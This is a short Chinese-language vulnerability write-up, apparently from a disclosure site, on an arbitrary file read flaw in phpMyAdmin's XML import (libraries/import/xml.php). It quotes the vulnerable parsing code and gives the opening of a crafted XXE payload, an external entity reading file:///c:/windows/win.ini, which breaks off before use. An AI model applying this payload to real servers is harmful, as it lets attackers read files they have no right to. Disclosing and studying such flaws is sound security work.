PhpMyadmin任意文件读取漏洞

libraries/import/xml.php中

unset($data);



/**

 * Load the XML string

 *

 * The option LIBXML_COMPACT is specified because it can

 * result in increased performance without the need to

 * alter the code in any way. It's basically a freebee.

 */

$xml = simplexml_load_string($buffer, "SimpleXMLElement", LIBXML_COMPACT);

unset($buffer);



/**

 * The XML was malformed

 */

if ($xml === FALSE) {

可以使用系统中的import功能导入一个精心构造的xml文件

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE wooyun [

  <!ENTITY hi80sec SYSTEM "file:///c:/windows/win.ini">
